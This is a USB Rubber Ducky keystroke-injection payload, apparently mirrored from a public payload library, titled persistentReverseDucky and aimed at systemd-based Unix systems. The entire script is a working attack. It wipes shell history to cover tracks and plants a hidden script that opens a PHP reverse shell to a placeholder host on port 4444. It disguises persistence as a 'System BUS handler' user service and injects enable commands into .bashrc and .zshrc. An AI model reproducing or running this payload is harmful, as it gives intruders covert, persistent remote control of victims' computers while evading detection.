Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/remote_access/persistentReverseDucky/payload.txt
2964 views
1
REM Title: persistentReverseDucky
2
REM Description: persistentReverseDucky provides you persistent reverse shell remotely/locally by creating non-root systemd service.
3
REM AUTHOR: drapl0n
4
REM Version: 1.0
5
REM Category: Remote Access
6
REM Target: Unix-like operating systems with systemd
7
REM Attackmodes: HID
8
9
REM [keeping tracks clear]
10
DELAY 500
11
CTRL-ALT t
12
DELAY 400
13
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
14
ENTER
15
DELAY 100
16
17
REM [creating reverse shell]
18
STRING mkdir /var/tmp/.system
19
ENTER
20
DELAY 100
21
STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/bin/sh -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
22
ENTER
23
DELAY 100
24
STRING chmod +x /var/tmp/.system/systemBus
25
ENTER
26
DELAY 100
27
28
REM [creating non-root systemd service]
29
STRING mkdir -p ~/.config/systemd/user
30
ENTER
31
DELAY 100
32
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
33
ENTER
34
DELAY 100
35
36
REM [enabling service]
37
STRING systemctl --user daemon-reload
38
ENTER
39
STRING systemctl --user enable --now systemBUS.service
40
ENTER
41
STRING systemctl --user start --now systemBUS.service
42
ENTER
43
DELAY 100
44
45
REM [autostarting service on terminal/shell launch]
46
STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\nfi\n\n" > ~/tmmmp
47
ENTER
48
DELAY 50
49
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
50
ENTER
51
52